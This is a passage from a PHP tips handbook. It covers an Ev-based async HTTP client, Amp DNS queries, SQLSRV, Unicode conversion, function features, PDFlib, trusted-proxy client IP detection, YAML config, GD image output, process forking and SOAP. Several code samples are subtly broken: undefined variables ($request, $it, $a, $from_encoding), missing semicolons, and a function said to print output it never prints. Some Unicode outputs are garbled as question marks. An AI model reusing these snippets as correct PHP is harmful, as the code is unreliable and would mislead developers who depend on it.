Complete PHP Tips & Secrets for Professionals 288

 /// @var EvIo
private $write_watcher;
/// @var EvIo
private $read_watcher;
/// @var EvTimer
private $conn_watcher;
/// @var string buffer for incoming data
private $buffer;
/// @var array errors reported by sockets extension in non-blocking mode.
private static $e_nonblocking = [
11, // EAGAIN or EWOULDBLOCK
115, // EINPROGRESS
];

/**
* @param MyHttpClient $client
* @param string $host Hostname, e.g. google.co.uk
* @param string $resource HTTP resource, e.g. /page?a=b&c=d
* @param string $method HTTP method: GET, HEAD, POST, PUT etc.
* @throws RuntimeException
*/
public function __construct(MyHttpClient $client, $host, $resource, $method) {
$this->http_client = $client;
$this->host = $host;
$this->resource = $resource;
$this->method = $method;

// Get the port for the WWW service

$this->service_port = getservbyname('www', 'tcp');

// Get the IP address for the target host

$this->address = gethostbyname($this->host);

// Create a TCP/IP socket

$this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$this->socket) {
throw new RuntimeException("socket_create() failed: reason: " .
socket_strerror(socket_last_error()));
}

// Set O_NONBLOCK flag

socket_set_nonblock($this->socket);

$this->conn_watcher = $this->http_client->getLoop()
->timer(0, 0., [$this, 'connect']);
}

public function __destruct() {

$this->close();
}

private function freeWatcher(&$w) {

if ($w) {
$w->stop();
$w = null;
}
}

/**
* Deallocates all resources of the request
*/
private function close() {

Complete PHP Tips & Secrets for Professionals 289

 if ($this->socket) {
socket_close($this->socket);
$this->socket = null;
}

$this->freeWatcher($this->timeout_watcher);
$this->freeWatcher($this->read_watcher);
$this->freeWatcher($this->write_watcher);
$this->freeWatcher($this->conn_watcher);
}

/**
* Initializes a connection on socket
* @return bool
*/
public function connect() {
$loop = $this->http_client->getLoop();

$this->timeout_watcher = $loop->timer($this->timeout, 0., [$this, '_onTimeout']);

$this->write_watcher = $loop->io($this->socket, Ev::WRITE, [$this, '_onWritable']);

return socket_connect($this->socket, $this->address, $this->service_port);

}

/**
* Callback for timeout (EvTimer) watcher
*/
public function _onTimeout(EvTimer $w) {
$w->stop();
$this->close();
}

/**
* Callback which is called when the socket becomes wriable
*/
public function _onWritable(EvIo $w) {
$this->timeout_watcher->stop();
$w->stop();

$in = implode("\r\n", [
"{$this->method} {$this->resource} HTTP/1.1",
"Host: {$this->host}",
'Connection: Close',
]) . "\r\n\r\n";

if (!socket_write($this->socket, $in, strlen($in))) {

trigger_error("Failed writing $in to socket", E_USER_ERROR);
return;
}

$loop = $this->http_client->getLoop();
$this->read_watcher = $loop->io($this->socket,
Ev::READ, [$this, '_onReadable']);

// Continue running the loop

$loop->run();
}

/**
* Callback which is called when the socket becomes readable
*/
public function _onReadable(EvIo $w) {

Complete PHP Tips & Secrets for Professionals 290

 // recv() 20 bytes in non-blocking mode
$ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT);

if ($ret) {
// Still have data to read. Append the read chunk to the buffer.
$this->buffer .= $out;
} elseif ($ret === 0) {
// All is read
printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer));
fflush(STDOUT);
$w->stop();
$this->close();
return;
}

// Caught EINPROGRESS, EAGAIN, or EWOULDBLOCK

if (in_array(socket_last_error(), static::$e_nonblocking)) {
return;
}

$w->stop();
$this->close();
}
}

/////////////////////////////////////
class MyHttpClient {
/// @var array Instances of MyHttpRequest
private $requests = [];
/// @var EvLoop
private $loop;

public function __construct() {

// Each HTTP client runs its own event loop
$this->loop = new EvLoop();
}

public function __destruct() {

$this->loop->stop();
}

/**
* @return EvLoop
*/
public function getLoop() {
return $this->loop;
}

/**
* Adds a pending request
*/
public function addRequest(MyHttpRequest $r) {
$this->requests []= $r;
}

/**
* Dispatches all pending requests
*/
public function run() {
$this->loop->run();
}
}

Complete PHP Tips & Secrets for Professionals 291

/////////////////////////////////////
// Usage
$client = new MyHttpClient();
foreach (range(1, 10) as $i) {
$client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i, 'GET'));
}
$client->run();
Testing

Suppose http://my-host.local/test.php script is printing the dump of $_GET:

<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;

Then the output of php http-client.php command will be similar to the following:

<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo

1d
GET: array (
'a' => '3',
)

0
>>>>
<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo

1d
GET: array (
'a' => '2',
)

0
>>>>
...

(trimmed)

Note, in PHP 5 the sockets extension may log warnings for EINPROGRESS, EAGAIN, and EWOULDBLOCK errno values. It is
possible to turn off the logs with

error_reporting(E_ERROR);

Section 67.7: Using Amp event loop

Amp harnesses Promises [another name for Awaitables] and Generators for coroutine creation.

Complete PHP Tips & Secrets for Professionals 292

require __DIR__ . '/vendor/autoload.php';

use Amp\Dns;

// Try our system defined resolver or googles, whichever is fastest

function queryStackOverflow($recordtype) {
$requests = [
Dns\query("stackoverflow.com", $recordtype),
Dns\query("stackoverflow.com", $recordtype, ["server" => "8.8.8.8"]),
];
// returns a Promise resolving when the first one of the requests resolves
return yield Amp\first($request);
}

\Amp\run(function() { // main loop, implicitly a coroutine

try {
// convert to coroutine with Amp\resolve()
$promise = Amp\resolve(queryStackOverflow(Dns\Record::NS));
list($ns, $type, $ttl) = // we need only one NS result, not all
current(yield Amp\timeout($promise, 2000 /* milliseconds */));
echo "The result of the fastest server to reply to our query was $ns";
} catch (Amp\TimeoutException $e) {
echo "We've heard no answer for 2 seconds! Bye!";
} catch (Dns\NoRecordException $e) {
echo "No NS records there? Stupid DNS nameserver!";
}
});

Chapter 68: Using SQLSRV

Section 68.1: Retrieving Error Messages
When a query goes wrong, it is important to fetch the error message(s) returned by the driver to identify the cause
of the problem. The syntax is:

sqlsrv_errors([int $errorsOrWarnings]);

This returns an array with:

Key Description
SQLSTATE The state that the SQL Server / OBDC Driver is in
code The SQL Server error code
message The description of the error

It is common to use the above function like so:

$brokenQuery = "SELECT BadColumnName FROM Table_1";

$stmt = sqlsrv_query($conn, $brokenQuery);

if ($stmt === false) {

if (($errors = sqlsrv_errors()) != null) {
foreach ($errors as $error) {
echo "SQLSTATE: ".$error['SQLSTATE']."<br />";
echo "code: ".$error['code']."<br />";
echo "message: ".$error['message']."<br />";
}
}
}

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Section 68.2: Fetching Query Results
There are 3 main ways to fetch results from a query:

sqlsrv_fetch_array()

sqlsrv_fetch_array() retrieves the next row as an array.

$stmt = sqlsrv_query($conn, $query);

while($row = sqlsrv_fetch_array($stmt)) {
echo $row[0];
$var = $row["name"];
//...
}

sqlsrv_fetch_array() has an optional second parameter to fetch back different types of array:
SQLSRV_FETCH_ASSOC, SQLSRV_FETCH_NUMERIC and SQLSRV_FETCH_BOTH(default) can be used; each returns the
associative, numeric, or associative and numeric arrays, respectively.

sqlsrv_fetch_object()

sqlsrv_fetch_object() retrieves the next row as an object.

$stmt = sqlsrv_query($conn, $query);

while($obj = sqlsrv_fetch_object($stmt)) {
echo $obj->field; // Object property names are the names of the fields from the query
//...
}
sqlsrv_fetch()

sqlsrv_fetch() makes the next row available for reading.

$stmt = sqlsrv_query($conn, $query);

while(sqlsrv_fetch($stmt) === true) {

$foo = sqlsrv_get_field($stmt, 0); //gets the first field -
}

Section 68.3: Creating a Connection

$dbServer = "localhost,1234"; //Name of the server/instance, including optional port number (default
is 1433)
$dbName = "db001"; //Name of the database
$dbUser = "user"; //Name of the user
$dbPassword = "password"; //DB Password of that user

$connectionInfo = array(
"Database" => $dbName,
"UID" => $dbUser,
"PWD" => $dbPassword
);

$conn = sqlsrv_connect($dbServer, $connectionInfo);

SQLSRV also has a PDO Driver. To connect using PDO:

$conn = new PDO("sqlsrv:Server=localhost,1234;Database=db001", $dbUser, $dbPassword);

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Section 68.4: Making a Simple Query
//Create Connection
$conn = sqlsrv_connect($dbServer, $connectionInfo);

$query = "SELECT * FROM [table]";

$stmt = sqlsrv_query($conn, $query);

Note: the use of square brackets [] is to escape the word table as it is a reserved word. These work in the same way as
backticks ` do in MySQL.

Section 68.5: Invoking a Stored Procedure

To call a stored procedure on the server:

$query = "{call [dbo].[myStoredProcedure](?,?,?)}"; //Parameters '?' includes OUT parameters

$params = array(
array($name, SQLSRV_PARAM_IN),
array($age, SQLSRV_PARAM_IN),
array($count, SQLSRV_PARAM_OUT, SQLSRV_PHPTYPE_INT) //$count must already be initialised
);

$result = sqlsrv_query($conn, $query, $params);

Section 68.6: Making a Parameterised Query

$conn = sqlsrv_connect($dbServer, $connectionInfo);

$query = "SELECT * FROM [users] WHERE [name] = ? AND [password] = ?";

$params = array("joebloggs", "pa55w0rd");

$stmt = sqlsrv_query($conn, $query, $params);

If you plan on using the same query statement more than once, with different parameters, the same can be
achieved with the sqlsrv_prepare() and sqlsrv_execute() functions, as shown below:

$cart = array(
"apple" => 3,
"banana" => 1,
"chocolate" => 2
);

$query = "INSERT INTO [order_items]([item], [quantity]) VALUES(?,?)";

$params = array(&$item, &$qty); //Variables as parameters must be passed by reference

$stmt = sqlsrv_prepare($conn, $query, $params);

foreach($cart as $item => $qty){

if(sqlsrv_execute($stmt) === FALSE) {
die(print_r(sqlsrv_errors(), true));
}
}

Chapter 69: Unicode Support in PHP

Section 69.1: Converting Unicode characters to “\uxxxx” format using PHP
You can use the following code for going back and forward.

if (!function_exists('codepoint_encode')) {

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 function codepoint_encode($str) {
return substr(json_encode($str), 1, -1);
}
}

if (!function_exists('codepoint_decode')) {
function codepoint_decode($str) {
return json_decode(sprintf('"%s"', $str));
}
}
How to use :
echo "\nUse JSON encoding / decoding\n";
var_dump(codepoint_encode("??"));
var_dump(codepoint_decode('\u6211\u597d'));
Output :
Use JSON encoding / decoding
string(12) "\u6211\u597d"
string(6) "??"

Section 69.2: Converting Unicode characters to their numeric value and/or

HTML entities using PHP
You can use the following code for going back and forward.

if (!function_exists('mb_internal_encoding')) {
function mb_internal_encoding($encoding = NULL) {
return ($from_encoding === NULL) ? iconv_get_encoding() : iconv_set_encoding($encoding);
}
}

if (!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($str, $to_encoding, $from_encoding = NULL) {
return iconv(($from_encoding === NULL) ? mb_internal_encoding() : $from_encoding,
$to_encoding, $str);
}
}

if (!function_exists('mb_chr')) {
function mb_chr($ord, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
return pack("N", $ord);
} else {
return mb_convert_encoding(mb_chr($ord, 'UCS-4BE'), $encoding, 'UCS-4BE');
}
}
}

if (!function_exists('mb_ord')) {
function mb_ord($char, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
list(, $ord) = (strlen($char) === 4) ? @unpack('N', $char) : @unpack('n', $char);
return $ord;
} else {
return mb_ord(mb_convert_encoding($char, 'UCS-4BE', $encoding), 'UCS-4BE');
}
}
}

if (!function_exists('mb_htmlentities')) {
function mb_htmlentities($string, $hex = true, $encoding = 'UTF-8') {
return preg_replace_callback('/[\x{80}-\x{10FFFF}]/u', function ($match) use ($hex) {

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 return sprintf($hex ? '&#x%X;' : '&#%d;', mb_ord($match[0]));
}, $string);
}
}

if (!function_exists('mb_html_entity_decode')) {
function mb_html_entity_decode($string, $flags = null, $encoding = 'UTF-8') {
return html_entity_decode($string, ($flags === NULL) ? ENT_COMPAT | ENT_HTML401 : $flags,
$encoding);
}
}
How to use :
echo "Get string from numeric DEC value\n";
var_dump(mb_chr(50319, 'UCS-4BE'));
var_dump(mb_chr(271));

echo "\nGet string from numeric HEX value\n";

var_dump(mb_chr(0xC48F, 'UCS-4BE'));
var_dump(mb_chr(0x010F));

echo "\nGet numeric value of character as DEC string\n";

var_dump(mb_ord('?', 'UCS-4BE'));
var_dump(mb_ord('?'));

echo "\nGet numeric value of character as HEX string\n";

var_dump(dechex(mb_ord('?', 'UCS-4BE')));
var_dump(dechex(mb_ord('?')));

echo "\nEncode / decode to DEC based HTML entities\n";

var_dump(mb_htmlentities('tchüß', false));
var_dump(mb_html_entity_decode('tch&#252;&#223;'));

echo "\nEncode / decode to HEX based HTML entities\n";

var_dump(mb_htmlentities('tchüß'));
var_dump(mb_html_entity_decode('tch&#xFC;&#xDF;'));
Output :
Get string from numeric DEC value
string(4) "?"
string(2) "?"

Get string from numeric HEX value

string(4) "?"
string(2) "?"

Get numeric value of character as DEC int

int(50319)
int(271)

Get numeric value of character as HEX string

string(4) "c48f"
string(3) "10f"

Encode / decode to DEC based HTML entities

string(15) "tch&#252;&#223;"
string(7) "tchüß"

Encode / decode to HEX based HTML entities

string(15) "tch&#xFC;&#xDF;"
string(7) "tchüß"

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Section 69.3: Intl extention for Unicode support
Native string functions are mapped to single byte functions, they do not work well with Unicode. The extentions
iconv and mbstring offer some support for Unicode, while the Intl-extention offers full support. Intl is a wrapper for
the facto de standard ICU library, see http://site.icu-project.org for detailed information that is not available on
http://php.net/manual/en/book.intl.php . If you can not install the extention, have a look at an alternative
implemention of Intl from the Symfony framework.

ICU offers full Internationalization of which Unicode is only a smaller part. You can do transcoding easily:

\UConverter::transcode($sString, 'UTF-8', 'UTF-8'); // strip bad bytes against attacks

But, do not dismiss iconv just yet, consider:

\iconv('UTF-8', 'ASCII//TRANSLIT', "Cliënt"); // output: "Client"

Chapter 70: Functions

function func_name($parameterName1, $parameterName2) { code_to_run(); }
function func_name($optionalParameter = default_value) { code_to_run(); }
function func_name(type_name $parameterName) { code_to_run(); }
function &returns_by_reference() { code_to_run(); }
function func_name(&$referenceParameter) { code_to_run(); }
function func_name(...$variadicParameters) { code_to_run(); } // PHP 5.6+
function func_name(type_name &...$varRefParams) { code_to_run(); } // PHP 5.6+
function func_name() : return_type { code_To_run(); } // PHP 7.0+

Section 70.1: Variable-length argument lists

Version≥5.6

PHP 5.6 introduced variable-length argument lists (a.k.a. varargs, variadic arguments), using the ... token before
the argument name to indicate that the parameter is variadic, i.e. it is an array including all supplied parameters
from that one onward.

function variadic_func($nonVariadic, ...$variadic) {

echo json_encode($variadic);
}

variadic_func(1, 2, 3, 4); // prints [2,3,4]

Type names can be added in front of the ...:

function foo(Bar ...$bars) {}

The & reference operator can be added before the ..., but after the type name (if any). Consider this example:

class Foo{}
function a(Foo &...$foos){
$i = 0;
foreach($a as &$foo){ // note the &
$foo = $i++;
}
}
$a = new Foo;
$c = new Foo;
$b =& $c;
a($a, $b);

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var_dump($a, $b, $c);

Output:

int(0)
int(1)
int(1)

On the other hand, an array (or Traversable) of arguments can be unpacked to be passed to a function in the form
of an argument list:

var_dump(...hash_algos());

Output:

string(3) "md2"
string(3) "md4"
string(3) "md5"
...

Compare with this snippet without using ...:

var_dump(hash_algos());

Output:

array(46) {
[0]=>
string(3) "md2"
[1]=>
string(3) "md4"
...
}

Therefore, redirect functions for variadic functions can now be easily made, for example:

public function formatQuery($query, ...$args){

return sprintf($query, ...array_map([$mysqli, "real_escape_string"], $args));
}

Apart from arrays, Traversables, such as Iterator (especially many of its subclasses from SPL) can also be used.
For example:

$iterator = new LimitIterator(new ArrayIterator([0, 1, 2, 3, 4, 5, 6]), 2, 3);

echo bin2hex(pack("c*", ...$it)); // Output: 020304

If the iterator iterates infinitely, for example:

$iterator = new InfiniteIterator(new ArrayIterator([0, 1, 2, 3, 4]));

var_dump(...$iterator);

Different versions of PHP behave differently:

From PHP 7.0.0 up to PHP 7.1.0 (beta 1):

A segmentation fault will occur
The PHP process will exit with code 139
In PHP 5.6:
A fatal error of memory exhaustion ("Allowed memory size of %d bytes exhausted") will be shown.
The PHP process will exit with code 255

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Note: HHVM (v3.10 - v3.12) does not support unpacking Traversables. A warning message "Only containers may be
unpacked" will be shown in this attempt.

Section 70.2: Optional Parameters

Functions can have optional parameters, for example:

function hello($name, $style = 'Formal')

{
switch ($style) {
case 'Formal':
print "Good Day $name";
break;
case 'Informal':
print "Hi $name";
break;
case 'Australian':
print "G'day $name";
break;
default:
print "Hello $name";
break;
}
}

hello('Alice');
// Good Day Alice

hello('Alice', 'Australian');
// G'day Alice

Section 70.3: Passing Arguments by Reference

Function arguments can be passed "By Reference", allowing the function to modify the variable used outside the
function:

function pluralize(&$word)
{
if (substr($word, -1) == 'y') {
$word = substr($word, 0, -1) . 'ies';
} else {
$word .= 's';
}
}

$word = 'Bannana';
pluralize($word);

print $word;
// Bannanas

Object arguments are always passed by reference:

function addOneDay($date)
{
$date->modify('+1 day');
}

$date = new DateTime('2014-02-28');

addOneDay($date);

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print $date->format('Y-m-d');
// 2014-03-01

To avoid implicit passing an object by reference, you should clone the object.

Passing by reference can also be used as an alternative way to return parameters. For example, the
socket_getpeername function:

bool socket_getpeername ( resource $socket , string &$address [, int &$port ] )

This method actually aims to return the address and port of the peer, but since there are two values to return, it
chooses to use reference parameters instead. It can be called like this:

if(!socket_getpeername($socket, $address, $port)) {

throw new RuntimeException(socket_last_error());
}
echo "Peer: $address:$port\n";

The variables $address and $port do not need to be defined before. They will:

1. be defined as null first,

2. then passed to the function with the predefined null value
3. then modified in the function
4. end up defined as the address and port in the calling context.

Section 70.4: Basic Function Usage

A basic function is defined and executed like this:

function hello($name)
{
print "Hello $name";
}

hello("Alice");

Section 70.5: Function Scope

Variables inside functions is inside a local scope like this

$number = 5
function foo(){
$number = 10
return $number
}

foo(); //Will print 10 because text defined inside function is a local variable

Chapter 71: Create PDF files in PHP

Section 71.1: Getting Started with PDFlib
This code requires that you use the PDFlib library for it to function properly.

<?php
$pdf = pdf_new(); //initialize new object

pdf_begin_document($pdf); //create new blank PDF

pdf_set_info($pdf, "Author", "John Doe"); //Set info about your PDF
pdf_set_info($pdf, "Title", "HelloWorld");

Complete PHP Tips & Secrets for Professionals 301

 pdf_begin_page($pdf, (72 * 8.5), (72 * 11)); //specify page width and height
$font = pdf_findfont($pdf, "Times-Roman", "host", 0) //load a font
pdf_setfont($pdf, $font, 48); //set the font
pdf_set_text_pos($pdf, 50, 700); //assign text position
pdf_show($pdf, "Hello_World!"); //print text to assigned position
pdf_end_page($pdf); //end the page
pdf_end_document($pdf); //close the object

$document = pdf_get_buffer($pdf); //retrieve contents from buffer

$length = strlen($document); $filename = "HelloWorld.pdf"; //Finds PDF length and assigns file name

header("Content-Type:application/pdf");
header("Content-Length:" . $length);
header("Content-Disposition:inline; filename=" . $filename);

echo($document); //Send document to browser

unset($document); pdf_delete($pdf); //Clear Memory
?>

Chapter 72: How to Detect Client IP Address

Section 72.1: Proper use of HTTP_X_FORWARDED_FOR
In the light of the latest httpoxy vulnerabilities, there is another variable, that is widely misused.

HTTP_X_FORWARDED_FOR is often used to detect the client IP address, but without any additional checks, this can lead
to security issues, especially when this IP is later used for authentication or in SQL queries without sanitization.

Most of the code samples available ignore the fact that HTTP_X_FORWARDED_FOR can actually be considered as
information provided by the client itself and therefore is not a reliable source to detect clients IP address. Some of
the samples do add a warning about the possible misuse, but still lack any additional check in the code itself.

So here is an example of function written in PHP, how to detect a client IP address, if you know that client may be
behind a proxy and you know this proxy can be trusted. If you don't known any trusted proxies, you can just use
REMOTE_ADDR

function get_client_ip()
{
// Nothing to do without any reliable information
if (!isset($_SERVER['REMOTE_ADDR'])) {
return NULL;
}

// Header that is used by the trusted proxy to refer to

// the original IP
$proxy_header = "HTTP_X_FORWARDED_FOR";

// List of all the proxies that are known to handle 'proxy_header'

// in known, safe manner
$trusted_proxies = array("2001:db8::1", "192.168.50.1");

if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) {

// Get IP of the client behind trusted proxy

if (array_key_exists($proxy_header, $_SERVER)) {

// Header can contain multiple IP-s of proxies that are passed through.
// Only the IP added by the last proxy (last IP in the list) can be trusted.
$client_ip = trim(end(explode(",", $_SERVER[$proxy_header])));

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 // Validate just in case
if (filter_var($client_ip, FILTER_VALIDATE_IP)) {
return $client_ip;
} else {
// Validation failed - beat the guy who configured the proxy or
// the guy who created the trusted proxy list?
// TODO: some error handling to notify about the need of punishment
}
}
}

// In all other cases, REMOTE_ADDR is the ONLY IP we can trust.

return $_SERVER['REMOTE_ADDR'];
}

print get_client_ip();

Chapter 73: YAML in PHP

Section 73.1: Installing YAML extension
YAML does not come with a standard PHP installation, instead it needs to be installed as a PECL extension. On
linux/unix it can be installed with a simple

pecl install yaml

Note that libyaml-dev package must be installed on the system, as the PECL package is simply a wrapper around
libYAML calls.

Installation on Windows machines is different - you can either download a pre-compiled DLL or build from sources.

Section 73.2: Using YAML to store application configuration

YAML provides a way to store structured data. The data can be a simple set of name-value pairs or a complex
hierarchical data with values even being arrays.

Consider the following YAML file:

database:
driver: mysql
host: database.mydomain.com
port: 3306
db_name: sample_db
user: myuser
password: Passw0rd
debug: true
country: us

Let's say, it's saved as config.yaml. Then to read this file in PHP the following code can be used:

$config = yaml_parse_file('config.yaml');
print_r($config);

print_r will produce the following output:

Array
(
[database] => Array
(
[driver] => mysql

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 [host] => database.mydomain.com
[port] => 3306
[db_name] => sample_db
[user] => myuser
[password] => Passw0rd
)

[debug] => 1
[country] => us
)

Now config parameters can be used by simply using array elements:

$dbConfig = $config['database'];

$connectString = $dbConfig['driver']
. ":host={$dbConfig['host']}"
. ":port={$dbConfig['port']}"
. ":dbname={$dbConfig['db_name']}"
. ":user={$dbConfig['user']}"
. ":password={$dbConfig['password']}";
$dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']);

Chapter 74: Image Processing with GD

Section 74.1: Image output
An image can be created using image* functions, where * is the file format.

They have this syntax in common:

bool image___(resource $im [, mixed $to [ other parameters]] )

Saving to a file

If you want to save the image to a file, you can pass the filename, or an opened file stream, as $to. If you pass a
stream, you don't need to close it, because GD will automatically close it.

For example, to save a PNG file:

imagepng($image, "/path/to/target/file.png");

$stream = fopen("phar://path/to/target.phar/file.png", "wb");

imagepng($image2, $stream);
// Don't fclose($stream)

When using fopen, make sure to use the b flag rather than the t flag, because the file is a binary output.

Do not try to pass fopen("php://temp", $f) or fopen("php://memory", $f) to it. Since the stream is closed by
the function after the call, you will be unable to use it further, such as to retrieve its contents.

Output as an HTTP response

If you want to directly return this image as the response of the image (e.g. to create dynamic badges), you don't
need to pass anything (or pass null) as the second argument. However, in the HTTP response, you need to specify
your content type:

header("Content-Type: $mimeType");

$mimeType is the MIME type of the format you are returning. Examples include image/png, image/gif and

Complete PHP Tips & Secrets for Professionals 304

image/jpeg.

Writing into a variable

There are two ways to write into a variable.

Using OB (Output Buffering)

ob_start();
imagepng($image, null, $quality); // pass null to supposedly write to stdout
$binary = ob_get_clean();
Using stream wrappers

You may have many reasons that you don't want to use output buffering. For example, you may already have OB
on. Therefore, an alternative is needed.

Using the stream_wrapper_register function, a new stream wrapper can be registered. Hence, you can pass a
stream to the image output function, and retrieve it later.

<?php

class GlobalStream{
private $var;

public function stream_open(string $path){

$this->var =& $GLOBALS[parse_url($path)["host"]];
return true;
}

public function stream_write(string $data){

$this->var .= $data;
return strlen($data);
}
}

stream_wrapper_register("global", GlobalStream::class);

$image = imagecreatetruecolor(100, 100);

imagefill($image, 0, 0, imagecolorallocate($image, 0, 0, 0));

$stream = fopen("global://myImage", "");

imagepng($image, $stream);
echo base64_encode($myImage);

In this example, the GlobalStream class writes any input into the reference variable (i.e. indirectly write to the global
variable of the given name). The global variable can later be retrieved directly.

There are some special things to note:

A fully implemented stream wrapper class should look like this, but according to tests with the __call magic
method, only stream_open, stream_write and stream_close are called from internal functions.
No flags are required in the fopen call, but you should at least pass an empty string. This is because the
fopen function expects such parameter, and even if you don't use it in your stream_open implementation, a
dummy one is still required.
According to tests, stream_write is called multiple times. Remember to use .= (concatenation assignment),
not = (direct variable assignment).

Example usage

In the <img> HTML tag, an image can be directly provided rather than using an external link:

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echo '<img src="data:image/png;base64,' . base64_encode($binary) . '">';

Section 74.2: Creating an image

To create a blank image, use the imagecreatetruecolor function:

$img = imagecreatetruecolor($width, $height);

$img is now a resource variable for an image resource with $widthx$height pixels. Note that width counts from left
to right, and height counts from top to bottom.

Image resources can also be created from image creation functions, such as:

imagecreatefrompng
imagecreatefromjpeg
other imagecreatefrom* functions.

Image resources may be freed later when there are no more references to them. However, to free the memory
immediately (this may be important if you are processing many large images), using imagedestroy() on an image
when it is no longer used might be a good practice.

imagedestroy($image);
Converting an image

Images created by image conversion does not modify the image until you output it. Therefore, an image converter
can be as simple as three lines of code:

function convertJpegToPng(string $filename, string $outputFile) {

$im = imagecreatefromjpeg($filename);
imagepng($im, $outputFile);
imagedestroy($im);
}

Section 74.3: Image Cropping and Resizing

If you have an image and want to create a new image, with new dimensions, you can use imagecopyresampled
function:

first create a new image with desired dimensions:

// new image
$dst_img = imagecreatetruecolor($width, $height);

and store the original image into a variable. To do so, you may use one of the createimagefrom* functions where *
stands for:

jpeg
gif
png
string

For example:

//original image
$src_img=imagecreatefromstring(file_get_contents($original_image_path));

Now, copy all (or part of) original image (src_img) into the new image (dst_img) by imagecopyresampled:

Complete PHP Tips & Secrets for Professionals 306

imagecopyresampled($dst_img, $src_img,
$dst_x ,$dst_y, $src_x, $src_y,
$dst_width, $dst_height, $src_width, $src_height);

To set src_* and dst_* dimensions, use the below image:

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Complete PHP Tips & Secrets for Professionals 308
Now, if you want to copy entire of source (initial) image, into entire of destination area (no cropping):

$src_x = $src_y = $dst_x = $dst_y = 0;

$dst_width = $width;// width of new image
$dst_height = $height; //height of new image
$src_width = imagesx($src_img); //width of initial image
$src_height = imagesy($src_img); //height of initial image

Chapter 75: Multiprocessing

Section 75.1: Multiprocessing using built-in fork functions
You can use built-in functions to run PHP processes as forks. This is the most simple way to achieve parallel work if
you don't need your threads to talk to each other.

This allows you to put time intensive tasks (like uploading a file to another server or sending an email) to another
thread so your script loads faster and can use multiple cores but be aware that this is not real multithreading and
your main thread won't know what the children are up to.

Note that under Windows this will make another command prompt pop up for each fork you start.

master.php

$cmd = "php worker.php 10";

if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') // for windows use popen and pclose
{
pclose(popen($cmd,"r"));
}
else //for unix systems use shell exec with "&" in the end
{
exec('bash -c "exec nohup setsid '.$cmd.' > /dev/null 2>&1 &"');
}

worker.php

//send emails, upload files, analyze logs, etc

$sleeptime = $argv[1];
sleep($sleeptime);

Section 75.2: Creating child process using fork

PHP has built in function pcntl_fork for creating child process. pcntl_fork is same as fork in unix. It does not take
in any parameters and returns integer which can be used to differentiate between parent and child process.
Consider the following code for explanation

<?php
// $pid is the PID of child
$pid = pcntl_fork();
if ($pid == -1) {
die('Error while creating child process');
} else if ($pid) {
// Parent process
} else {
// Child process
}
?>

As you can see -1 is an error in fork and the child was not created. On creation of child, we have two processes
running with separate PID.

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Another consideration here is a zombie process or defunct process when parent process finishes before child
process. To prevent a zombie children process simply add pcntl_wait($status) at the end of parent process.

pnctl_wait suspends execution of parent process until the child process has exited.

It is also worth noting that zombie process can't be killed using SIGKILL signal.

Section 75.3: Inter-Process Communication

Interprocess communication allows programmers to communicate between different processes. For example let us
consider we need to write an PHP application that can run bash commands and print the output. We will be using
proc_open , which will execute the command and return a resource that we can communicate with. The following
code shows a basic implementation that runs pwd in bash from php

<?php
$descriptor = array(
0 => array("pipe", "r"), // pipe for stdin of child
1 => array("pipe", "w"), // pipe for stdout of child
);
$process = proc_open("bash", $descriptor, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "pwd" . "\n");
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);

}
?>

proc_open runs bash command with $descriptor as descriptor specifications. After that we use is_resource to
validate the process. Once done we can start interacting with the child process using $pipes which is generated
according to descriptor specifications.

After that we can simply use fwrite to write to stdin of child process. In this case pwd followed by carriage return.
Finally stream_get_contents is used to read stdout of child process.

Always remember to close the child process by using proc_close() which will terminate the child and return the exit
status code.

Chapter 76: SOAP Server

addFunction() //Register one (or more) function into SOAP request handler
addSoapHeader() //Add a SOAP header to the response
fault() //Issue SoapServer fault indicating an error
getFunctions() //Returns list of functions
handle() //Handles a SOAP request
setClass() //Sets the class which handles SOAP requests
setObject() //Sets the object which will be used to handle SOAP requests
setPersistence() //Sets SoapServer persistence mode

Section 76.1: Basic SOAP Server

function test($x)
{
return $x;
}

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$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();

Chapter 77: Machine learning

Section 77.1: Classification using PHP-ML
Classification in Machine Learning is the problem that identifies to which set of categories does a new observation
belong. Classification falls under the category of Supervised Machine Learning.

Any algorithm that implements classification is known as classifier

The classifiers supported in PHP-ML are

SVC (Support Vector Classification)

k-Nearest Neighbors
Naive Bayes

The train and predict method are same for all classifiers. The only difference would be in the underlying
algorithm used.

SVC (Support Vector Classification)

Before we can start with predicting a new observation, we need to train our classifier. Consider the following code

// Import library
use Phpml\Classification\SVC;
use Phpml\SupportVectorMachine\Kernel;

// Data for training classifier

$samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; // Training samples
$labels = ['a', 'a', 'a', 'b', 'b', 'b'];

// Initialize the classifier

$classifier = new SVC(Kernel::LINEAR, $cost = 1000);
// Train the classifier
$classifier->train($samples, $labels);

The code is pretty straight forward. $cost used above is a measure of how much we want to avoid misclassifying
each training example. For a smaller value of $cost you might get misclassified examples. By default it is set to 1.0

Now that we have the classifier trained we can start making some actual predictions. Consider the following codes
that we have for predictions

$classifier->predict([3, 2]); // return 'b'

$classifier->predict([[3, 2], [1, 5]]); // return ['b', 'a']

The classifier in the case above can take unclassified samples and predicts there labels. predict method can take a
